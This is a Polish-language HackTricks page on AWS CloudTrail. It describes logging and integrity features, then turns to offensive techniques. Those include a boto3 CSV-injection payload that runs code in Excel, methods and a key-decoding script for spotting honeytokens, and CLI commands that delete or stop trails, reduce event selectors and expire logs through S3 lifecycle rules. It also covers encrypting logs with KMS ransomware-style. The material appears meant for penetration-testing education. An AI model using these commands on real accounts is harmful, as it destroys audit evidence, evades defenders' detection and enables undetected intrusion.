AWS - CloudTrail Enum

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

CloudTrail

AWS CloudTrail rejestruje i monitoruje aktywność w Twoim środowisku AWS. Rejestruje szczegółowe dzienniki zdarzeń, w tym kto, co, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. Zapewnia to ślad audytowy zmian i działań, pomagając w analizie bezpieczeństwa, audytowaniu zgodności i śledzeniu zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa i zapewnienia zgodności regulacyjnej.

Każde zarejestrowane zdarzenie zawiera:

  • Nazwę wywołanego interfejsu API: eventName

  • Wywołaną usługę: eventSource

  • Czas: eventTime

  • Adres IP: SourceIPAddress

  • Metodę agenta: userAgent. Przykłady:

  • Signing.amazonaws.com - Z konsoli zarządzania AWS

  • console.amazonaws.com - Użytkownik główny konta

  • lambda.amazonaws.com - AWS Lambda

  • Parametry żądania: requestParameters

  • Elementy odpowiedzi: responseElements

Zdarzenia są zapisywane w nowym pliku dziennika około co 5 minut w pliku JSON, są przechowywane przez CloudTrail, a ostatecznie pliki dziennika są dostarczane do S3 około 15 minut po. Dzienniki CloudTrail mogą być agregowane między kontami i między regionami. CloudTrail pozwala na użycie integralności plików dziennika, aby móc zweryfikować, czy pliki dziennika pozostały niezmienione od momentu dostarczenia ich przez CloudTrail. Tworzy on skrót SHA-256 dzienników w pliku z sumą kontrolną. Skrót sha-256 nowych dzienników jest tworzony co godzinę. Podczas tworzenia ścieżki selektory zdarzeń pozwolą Ci wskazać ścieżkę do zalogowania: zdarzenia zarządzania, danych lub wniosków.

Dzienniki są zapisywane w wiadrze S3. Domyślnie używane jest szyfrowanie po stronie serwera (SSE-S3), więc AWS odszyfruje zawartość dla osób, które mają do niej dostęp, ale dla dodatkowego zabezpieczenia można użyć SSE z KMS i własnych kluczy.

Dzienniki są przechowywane w wiadrze S3 o następującym formacie nazwy:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Gdzie BucketName to: aws-cloudtrail-logs-<accountid>-<random>

  • Przykład: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

W każdym folderze każdy dziennik będzie miał nazwę zgodną z tym formatem: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Konwencja Nazewnictwa Plików Dziennika

Ponadto pliki skrótu (do sprawdzenia integralności pliku) będą w tym samym wiadrze w:

Agregowanie Dzienników z Wielu Kont

  • Utwórz ścieżkę w koncie AWS, do którego chcesz dostarczyć pliki dziennika

  • Zastosuj uprawnienia do docelowego wiadra S3, pozwalając na dostęp międzykontowy dla CloudTrail i zezwalając każdemu kontu AWS, które potrzebuje dostępu

  • Utwórz nową ścieżkę w innych kontach AWS i wybierz utworzone wiadro w kroku 1

Jednak nawet jeśli możesz zapisać wszystkie dzienniki w tym samym wiadrze S3, nie możesz agregować dzienników CloudTrail z wielu kont do dzienników CloudWatch należących do jednego konta AWS.

Pamiętaj, że konto może mieć różne ścieżki z CloudTrail włączone, przechowujące te same (lub różne) dzienniki w różnych wiadrach.

Cloudtrail z wszystkich kont org do 1

Podczas tworzenia CloudTrail można wskazać, aby aktywować cloudtrail dla wszystkich kont w organizacji i uzyskać dzienniki tylko do 1 wiadra:

W ten sposób łatwo można skonfigurować CloudTrail we wszystkich regionach wszystkich kont i skoncentrować dzienniki w 1 koncie (które należy chronić).

Sprawdzanie Plików Dziennika

Możesz sprawdzić, czy dzienniki nie zostały zmienione, uruchamiając

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Dzienniki do CloudWatch

CloudTrail może automatycznie wysyłać dzienniki do CloudWatch, dzięki czemu możesz ustawiać alerty, które ostrzegą Cię, gdy podejrzane działania zostaną wykonane. Zauważ, że aby umożliwić CloudTrailowi wysyłanie dzienników do CloudWatch, musi zostać utworzona rola, która pozwala na to działanie. Jeśli to możliwe, zaleca się używanie domyślnej roli AWS do wykonywania tych działań. Rola ta umożliwi CloudTrailowi:

  • CreateLogStream: Pozwala na tworzenie strumieni dzienników CloudWatch Logs

  • PutLogEvents: Dostarcza dzienniki CloudTrail do strumienia dzienników CloudWatch Logs

Historia zdarzeń

Historia zdarzeń CloudTrail pozwala na sprawdzenie w tabeli zapisanych dzienników:

Wnioski

Wnioski CloudTrail automatycznie analizują zdarzenia zarządzania zapisami z szlaków CloudTrail i ostrzegają Cię o nietypowej aktywności. Na przykład, jeśli wystąpi wzrost zdarzeń TerminateInstance, który różni się od ustalonych bazelinów, zobaczysz to jako zdarzenie Wniosku. Te zdarzenia ułatwiają odnajdywanie i reagowanie na nietypową aktywność interfejsu API niż kiedykolwiek wcześniej.

Wnioski są przechowywane w tym samym kubełku co dzienniki CloudTrail pod adresem: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Bezpieczeństwo

Integralność plików dziennika CloudTrail

  • Sprawdź, czy dzienniki nie zostały sfałszowane (zmodyfikowane lub usunięte)

  • Używa plików skrótu (tworzy skrót dla każdego pliku)

    • Haszowanie SHA-256

    • SHA-256 z RSA do podpisywania cyfrowego

    • klucz prywatny należący do Amazon

  • Tworzenie pliku skrótu trwa 1 godzinę (wykonywane o pełnej godzinie co godzinę)

Zatrzymaj nieautoryzowany dostęp

  • Użyj polityk IAM i polityk kubełka S3

    • Zespół ds. bezpieczeństwa —> dostęp admina

    • Audytorzy —> dostęp tylko do odczytu

  • Użyj SSE-S3/SSE-KMS do szyfrowania dzienników

Zapobiegaj usuwaniu plików dziennika

  • Ogranicz dostęp do usuwania za pomocą polityk IAM i kubełka

  • Skonfiguruj usuwanie S3 MFA

  • Sprawdź z walidacją pliku dziennika

Doradca dostępu

Doradca dostępu AWS polega na ostatnich 400 dniach dzienników AWS CloudTrail, aby zgromadzić swoje wnioski. CloudTrail rejestruje historię wywołań interfejsu API AWS i związanych z nimi zdarzeń wykonanych w koncie AWS. Doradca dostępu wykorzystuje te dane do pokazania, kiedy usługi były ostatnio używane. Analizując dzienniki CloudTrail, Doradca dostępu może określić, które usługi AWS zostały użyte przez użytkownika IAM lub rolę i kiedy miało to miejsce. Pomaga to administratorom AWS podejmować świadome decyzje dotyczące dostosowywania uprawnień, ponieważ mogą zidentyfikować usługi, które nie były używane przez długi czas i potencjalnie ograniczyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użycia.

Dlatego Doradca dostępu informuje o nadmierne przyznawane uprawnienia użytkownikom, aby administrator mógł je usunąć

Działania

Wyliczenie

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Wstrzykiwanie CSV

Możliwe jest wykonanie wstrzykiwania CSV w CloudTrail, które wykona arbitralny kod, jeśli dzienniki zostaną wyeksportowane do formatu CSV i otwarte w programie Excel. Następujący kod wygeneruje wpis dziennika z nazwą ścieżki zawierającą ładunek:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Aby uzyskać więcej informacji na temat Wstrzykiwania CSV, sprawdź stronę:

Aby uzyskać więcej informacji na temat tej konkretnej techniki, sprawdź https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Ominięcie Wykrywania

Ominięcie HoneyTokens

HoneyTokens są tworzone w celu wykrywania wycieku wrażliwych informacji. W przypadku AWS są to klucze AWS, których użycie jest monitorowane, jeśli coś wyzwala działanie z tym kluczem, to ktoś musiał go ukraść.

Jednakże, monitorowanie to odbywa się za pośrednictwem CloudTrail, i istnieją niektóre usługi AWS, które nie wysyłają logów do CloudTrail (znajdź listę tutaj). Niektóre z tych usług będą odpowiadać błędem zawierającym ARN roli klucza, jeśli ktoś nieautoryzowany (klucz honeytoken) spróbuje uzyskać do niego dostęp.

W ten sposób atakujący może uzyskać ARN klucza bez wywoływania żadnego logu. W ARN atakujący może zobaczyć ID konta AWS i nazwę, łatwo jest poznać ID i nazwy kont firm HoneyToken, w ten sposób atakujący może zidentyfikować, czy token jest HoneyTokenem.

Wykrywanie HoneyTokens

Pacu wykrywa, czy klucz należy do Canarytokens, SpaceCrab, SpaceSiren:

  • Jeśli canarytokens.org pojawia się w nazwie roli lub ID konta 534261010715 pojawia się w komunikacie błędu.

  • Testując je bardziej niedawno, używają konta 717712589309 i wciąż mają ciąg canarytokens.com w nazwie.

  • Jeśli SpaceCrab pojawia się w nazwie roli w komunikacie błędu

  • SpaceSiren używa uuids do generowania nazw użytkowników: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Jeśli nazwa wygląda jak losowo generowana, istnieje duże prawdopodobieństwo, że jest to HoneyToken.

Zauważ, że wszystkie publiczne API, które nie tworzyły logów CloudTrail, zostały naprawione, więc być może będziesz musiał znaleźć swoje własne...

Albo możesz uzyskać ID konta z zakodowanego wewnątrz klucza dostępu jak wyjaśniono tutaj i sprawdzić ID konta na liście kont AWS Honeytokens:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Aby uzyskać więcej informacji, sprawdź oryginalne badania.

Dostęp do infrastruktury osób trzecich

Niektóre usługi AWS tworzą pewną infrastrukturę, taką jak bazy danych lub klastry Kubernetes (EKS). Użytkownik komunikujący się bezpośrednio z tymi usługami (takimi jak interfejs API Kubernetes) nie będzie korzystał z interfejsu API AWS, dlatego CloudTrail nie będzie w stanie zobaczyć tej komunikacji.

Dlatego użytkownik mający dostęp do EKS, który odkrył adres URL interfejsu API EKS, mógłby lokalnie wygenerować token i komunikować się bezpośrednio z usługą API, nie będąc wykrytym przez CloudTrail.

Więcej informacji znajdziesz w:

pageAWS - EKS Post Exploitation

Modyfikowanie konfiguracji CloudTrail

Usuwanie ścieżek

aws cloudtrail delete-trail --name [trail-name]

Zatrzymaj ścieżki

aws cloudtrail stop-logging --name [trail-name]

Wyłącz logowanie wieloregionowe

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Wyłączanie logowania za pomocą selektorów zdarzeń

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

W pierwszym przykładzie pojedynczy selektor zdarzeń jest podany jako tablica JSON z pojedynczym obiektem. "ReadWriteType": "ReadOnly" wskazuje, że selektor zdarzeń powinien rejestrować tylko zdarzenia tylko do odczytu (więc CloudTrail insights nie będą sprawdzać zdarzeń zapisu na przykład).

Możesz dostosować selektor zdarzeń w zależności od swoich konkretnych wymagań.

Usuwanie logów za pomocą polityki cyklu życia S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modyfikacja konfiguracji kubełka

  • Usuń kubełek S3

  • Zmień politykę kubełka, aby zabronić zapisywania z usługi CloudTrail

  • Dodaj politykę cyklu życia do kubełka S3 w celu usuwania obiektów

  • Wyłącz klucz KMS używany do szyfrowania logów CloudTrail

Ransomware CloudTrail

Ransomware S3

Możesz wygenerować klucz asymetryczny i sprawić, aby CloudTrail szyfrował dane tym kluczem i usunąć klucz prywatny, aby zawartość CloudTrail nie mogła zostać odzyskana. To jest w zasadzie ransomware S3-KMS wyjaśniony w:

pageAWS - S3 Post Exploitation

Ransomware KMS

To jest najprostszy sposób wykonania poprzedniego ataku z różnymi wymaganiami uprawnień:

pageAWS - KMS Post Exploitation

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated